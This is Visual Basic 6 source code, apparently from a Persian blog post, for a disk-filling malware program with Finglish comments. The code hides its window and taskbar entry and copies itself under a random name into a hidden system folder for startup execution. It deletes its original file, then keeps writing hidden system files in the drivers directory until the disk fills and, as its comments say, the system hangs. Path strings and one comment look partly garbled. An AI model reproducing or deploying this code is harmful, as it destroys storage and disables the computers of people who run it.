Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Function SysDir() As String
  Dim sysPath As String
  sysPath = String(255, vbNullChar)
  GetSystemDirectory sysPath, 255
  SysDir = Left(sysPath, InStr(sysPath, vbNullChar) - 1)
End Function
Private Sub Form_Load()
If App.PrevInstance Then End
Call Randomize
Hide
App.Title = ""
App.TaskVisible = False
Register
On Error Resume Next
If App.Path <> SysDir & "winnt" Then
Dim s, d, srvname As String
 srvname = List1.List(Int(Rnd * List1.ListCount))
s = """" & App.Path & "" & App.EXEName & ".exe" & """"
FileCopy App.Path & "" & App.EXEName & ".exe", SysDir & "winnt" & srvname
Shell (SysDir & "winnt" & srvname & " " & s), vbNormalFocus
SetAttr SysDir & "winnt" & srvname, vbHidden + vbReadOnly 'Dadan Kheslat Hidden Va Read Only
End
Else
   If Command <> "" Then
   d = Command
Shell ("cmd /c del " & d), vbHide 'Inja Fileh Melt Misheh
End If
End If
End Sub
Sub Register()
On Error GoTo d
Dim Demon As New FileSystemObject
Demon.CreateFolder SysDir & "winnt" 'Har chi to Poosheh Winnt Copy Sheh To Startup ejra misheh
Exit Sub                                             '(Bad Az Reset Doذarثh Ejra Misheh)
d:
Exit Sub
End Sub

 

Private Sub Timer1_Timer()
Dim num As Long
Call Randomize
num = Rnd * 1000000000
Label1.Caption = num & "." & num
Open SysDir & "drivers" & Label1.Caption For Output As #1
Print #1, "Salam"
Close #1
SetAttr SysDir & "drivers" & Label1.Caption, vbSystem + vbHidden
Timer1.Enabled = False
Timer3.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Timer2_Timer()
Label2.Caption = Label2 + 90000 'Har chi iN Addado bozorg tar koni hard
End Sub                                    'zood tar por misheh bishtar iz in system hang mikoneh
Private Sub Timer3_Timer()
On Error GoTo d 'barayeh ineh keh ageh Erroreh Ovr Flow Dad Beh D: Bereh TA YEK FILEH DIGEH Besazeh
Open SysDir & "drivers" & Label1.Caption For Binary As #1
Seek #1, Label2.Caption
Put #1, ,                                                                                                    "
Close #1
Exit Sub
d:
Close #1
Timer3.Enabled = False
Timer2.Enabled = False
Timer1.Enabled = True
End Sub 

نام :

آدرس ایمیل:

وب سایت/بلاگ :

متن پیام:

نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه: